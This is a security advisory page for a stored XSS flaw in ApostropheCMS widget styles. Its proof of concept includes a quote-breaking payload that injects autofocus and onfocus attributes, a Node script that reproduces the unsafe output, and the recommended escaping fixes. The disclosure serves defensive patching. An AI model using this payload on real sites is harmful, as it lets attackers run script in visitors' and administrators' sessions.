ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute SerializationGHSA-7jg5-frgc-c67w
MEDIUMFix: apostrophecms/apostrophe@06e4b37GHSA-7jg5-frgc-c67w is a medium-severity (CVSS 5.4) Cross-site Scripting (XSS) vulnerability in apostrophe. A fix is available for apostrophe — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7jg5-frgc-c67w.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-7jg5-frgc-c67w by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
apostrophenpmDescription
Summary
ApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form string style field with a CSS property and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper's style="..." attribute without HTML-attribute escaping.
An attacker who can edit the widget can include a double quote in the style value, terminate the style attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered.
This is a sibling of CVE-2026-33889 / GHSA-97v6-998m-fp4g. The earlier issue escaped from a <style> element through a malicious color value. This variant reaches a different sink related to the automatically generated widget wrapper's inline style and class attributes.
Details
Root Cause 1: Free-form string style values retain HTML metacharacters
The standard string field converter uses launder.string() and length validation. This performs type normalization, not output encoding for an HTML attribute context:
packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333
self.addFieldType({
name: 'string',
// ...
convert(req, field, data, destination) {
destination[field.name] = self.apos.launder.string(data[field.name]);
destination[field.name] = checkStringLength(
destination[field.name],
field.min,
field.max
);
}
});
Quotes therefore remain in a value supplied through a style field.
Root Cause 2: The value is converted into inline CSS without value validation
For a field with property but no selector or media query, renderScopedStyles() selects inline rendering. The generic extractor concatenates the configured property and editor-controlled value:
packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228
packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647
rule = `${property}: ${normalized.value}${normalized.unit}`;
// ...
if (isInline) {
return {
css: '',
classes: [ ...storage.classes ],
inline: stringifyRules(storage.styles, true)
};
}
For example, the value below becomes part of a font-family declaration:
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
Root Cause 3: Attribute values are serialized without HTML escaping
getWidgetAttributes() places the inline CSS into an attribute tuple, then concatenates every tuple into key="value" without encoding &, <, >, ', or ":
packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322
if (styleParts.length) {
attrs.push(
[ 'style', `${styleParts.join(';')};` ]
);
}
if (options.asObject) {
return Object.fromEntries(attrs);
}
return attrs
.map(([ key, value ]) => `${key}="${value}"`)
.join(' ');
The same raw serializer also makes a project-defined free-form string style with class: true a potential sibling path, because the string is added to classes and later serialized into class="...". The inline-property path was the path dynamically verified.
Root Cause 4: The unsafe string is used by the automatic public wrapper
Styled widgets use getWidgetAttributes() to create a wrapper around the rendered widget:
packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457
if (hasStyles && self.options.stylesWrapper !== false) {
const styles = self.apos.styles.prepareWidgetStyles(widget);
const styleTag = self.apos.styles
.getWidgetElements(styles, { scene: req.scene });
const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);
return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`;
}
Consequently, the injected attribute is present on normal public page renders, not only in the editor UI.
Why the CVE-2026-33889 defense does not prevent this variant
The sibling advisory led to a defense in getWidgetElements() that rewrites </ before CSS is inserted into a <style> element:
css = css.replaceAll('</', '<\\/');
This protects the style-element boundary. The vulnerable path above produces inline output instead of css, so it never reaches that replacement.
Affected Configurations and Versions
The verified configuration has all of the following properties:
- A widget defines a style field with a free-form type such as
string. - The field uses
propertywithout a selector, causing inline-style rendering, or usesclass: truewith an unrestricted string value. - The attacker has permission to edit a widget containing the field.
- The malicious content is published, or a higher-privileged user views the affected draft.
Standard range, select, and color presets do not directly provide an unrestricted quote-containing value and were not demonstrated as affected by this variant.
Proof of Concept
Step 1: Configure a widget with a free-form inline style
Add a style field similar to the following to a widget module:
module.exports = {
extend: '@apostrophecms/widget-type',
options: {
label: 'Style Attribute Test'
},
styles: {
add: {
customFont: {
type: 'string',
label: 'Custom Font',
property: 'font-family'
}
}
}
};
The absence of selector makes the generated declaration inline.
Step 2: Store the payload
As a user who may edit this widget, enter the following value in customFont and save the widget:
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
Publish the page, or have another user view the affected draft.
Step 3: Reproduce the renderer output directly
The vulnerable data flow can also be reproduced using the real renderer and serializer from a checked-out, dependency-installed repository:
const methodsFactory = require(
'./packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js'
);
(async () => {
const { renderScopedStyles } = await import(
'./packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'
);
const payload =
'serif" tabindex="0" autofocus ' +
'onfocus="document.body.dataset.inline=\'executed\'';
const styles = renderScopedStyles(
[ {
name: 'customFont',
type: 'string',
property: 'font-family'
} ],
{ customFont: payload }
);
Object.assign(styles, {
styleId: 'audit-inline',
widgetId: 'widget-1'
});
const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);
console.log('inline:', styles.inline);
console.log('attributes:', attrs);
})();
Step 4: Observe the unsafe HTML
The current renderer produced:
inline: font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed';
The serializer then produced an attribute string equivalent to:
id="audit-inline"
data-apos-widget-style-wrapper-for="widget-1"
data-apos-widget-style-classes=""
style="font-family: serif" tabindex="0" autofocus
onfocus="document.body.dataset.inline='executed';"
The attacker-controlled quote terminates the style attribute. tabindex, autofocus, and onfocus become separate live attributes.
Step 5: Confirm execution in a browser
When the generated wrapper was loaded in Chrome 153, autofocus triggered the injected handler automatically. The DOM changed to:
<body data-inline="executed">
<div id="audit-inline" tabindex="0" autofocus="" onfocus="..."></div>
</body>
The safe behavior would be for the quote to appear as " inside the style attribute, with no injected attributes and no change to document.body.dataset.
Impact
- Stored XSS on published pages: JavaScript executes for unauthenticated visitors who load a page containing the affected widget.
- Privilege escalation: If an administrator or another privileged editor views the page or draft, the payload executes with that user's application-origin privileges and can perform authenticated actions available to the victim.
- Persistent content manipulation: The payload is stored with widget content and continues to execute until the style value is removed or the output path is fixed.
- Phishing and data access: The script can alter the rendered page, read non-HttpOnly same-origin data, and issue same-origin requests as the victim.
Recommended Fix
Fix 1: HTML-escape every string-returning attribute value
The string branch of getWidgetAttributes() should encode values for a double-quoted HTML attribute context before concatenation. At minimum, encode &, <, >, ", and ' using a centralized Apostrophe HTML encoder.
Conceptually:
if (options.asObject) {
return Object.fromEntries(attrs);
}
return attrs
.map(([ key, value ]) => {
return `${key}="${escapeHtmlAttribute(String(value))}"`;
})
.join(' ');
The structured asObject branch should remain structured so that its eventual template/DOM renderer can perform context-appropriate encoding.
Fix 2: Validate style values by their destination grammar
Output encoding is the primary fix. As defense in depth:
- Require select/range/color or another constrained type for common CSS properties.
- Parse and validate free-form CSS property values instead of treating them as arbitrary strings.
- For
class: true, accept only individual valid class-name tokens rather than an unrestricted string.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | apostrophe | all versions | 4.34.0npm install apostrophe@4.34.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update apostrophe to 4.34.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7jg5-frgc-c67w is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-7jg5-frgc-c67w in your dependencies?
Find it across npm, including transitive dependencies.